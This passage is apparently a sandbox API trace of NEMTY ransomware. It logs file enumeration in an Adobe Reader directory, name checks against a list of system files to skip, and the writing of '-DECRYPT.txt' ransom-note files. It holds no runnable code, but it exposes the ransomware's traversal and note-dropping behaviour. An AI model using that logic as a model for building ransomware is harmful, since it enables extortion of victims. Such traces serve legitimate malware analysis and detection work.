dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXSLE.dll", lpUsedDefaultChar=0x0) returned 9 [0170.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXSLE.dll", lpUsedDefaultChar=0x0) returned 9 [0170.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x653ef60, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXSLE.dll", lpUsedDefaultChar=0x0) returned 9 [0170.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x653ef98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXSLE.dll", lpUsedDefaultChar=0x0) returned 9 [0170.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.687] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1af88, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BIB.dll", cAlternateFileName="")) returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2=".") returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="..") returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="...") returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="windows") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="rsa") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="NTDETECT.COM") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="ntldr") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="MSDOS.SYS") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="IO.SYS") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="boot.ini") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="boot.ini") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="ntuser.dat") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="desktop.ini") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="CONFIG.SYS") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="RECYCLER") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="bootmgr") returned -1 [0170.687] lstrcmpiW (lpString1="BIB.dll", lpString2="programdata") returned -1 [0170.688] lstrcmpiW (lpString1="BIB.dll", lpString2="appdata") returned 1 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIB.dll", lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIB.dll", lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x653ef60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIB.dll", lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.688] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIB.dll", cchWideChar=7, lpMultiByteStr=0x653ef98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIB.dll", lpUsedDefaultChar=0x0) returned 7 [0170.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0170.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.688] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25b98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BIBUtils.dll", cAlternateFileName="")) returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2=".") returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="..") returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="...") returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="windows") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="rsa") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="NTDETECT.COM") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="ntldr") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="MSDOS.SYS") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="IO.SYS") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="boot.ini") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="boot.ini") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="ntuser.dat") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="desktop.ini") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="CONFIG.SYS") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="RECYCLER") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="bootmgr") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="programdata") returned -1 [0170.688] lstrcmpiW (lpString1="BIBUtils.dll", lpString2="appdata") returned 1 [0170.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIBUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIBUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIBUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BIBUtils.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIBUtils.dll", lpUsedDefaultChar=0x0) returned 12 [0170.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0170.689] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Browser", cAlternateFileName="")) returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2=".") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="..") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="...") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="windows") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="$RECYCLE.BIN") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="rsa") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="NTDETECT.COM") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="ntldr") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="MSDOS.SYS") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="IO.SYS") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="boot.ini") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="boot.ini") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="AUTOEXEC.BAT") returned 1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="ntuser.dat") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="desktop.ini") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="CONFIG.SYS") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="RECYCLER") returned -1 [0170.689] lstrcmpiW (lpString1="Browser", lpString2="BOOTSECT.BAK") returned 1 [0170.690] lstrcmpiW (lpString1="Browser", lpString2="bootmgr") returned 1 [0170.690] lstrcmpiW (lpString1="Browser", lpString2="programdata") returned -1 [0170.690] lstrcmpiW (lpString1="Browser", lpString2="appdata") returned 1 [0170.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Browser", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browser", lpUsedDefaultChar=0x0) returned 7 [0170.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Browser", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browser", lpUsedDefaultChar=0x0) returned 7 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0170.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0170.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.692] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.692] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0170.693] CloseHandle (hObject=0x1ec) returned 1 [0170.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0170.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0170.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.694] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.694] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0170.695] CloseHandle (hObject=0x1ec) returned 1 [0170.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0170.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0170.695] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1960e890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1960e890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0170.695] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0170.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1960e890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1960e890, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0170.695] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0170.696] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0170.696] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2=".") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="..") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="...") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="windows") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="$RECYCLE.BIN") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="rsa") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="NTDETECT.COM") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ntldr") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="MSDOS.SYS") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="IO.SYS") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="boot.ini") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="boot.ini") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="ntuser.dat") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="desktop.ini") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="CONFIG.SYS") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="RECYCLER") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="BOOTSECT.BAK") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="bootmgr") returned 1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="programdata") returned -1 [0170.696] lstrcmpiW (lpString1="nppdf32.CAT", lpString2="appdata") returned 1 [0170.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, 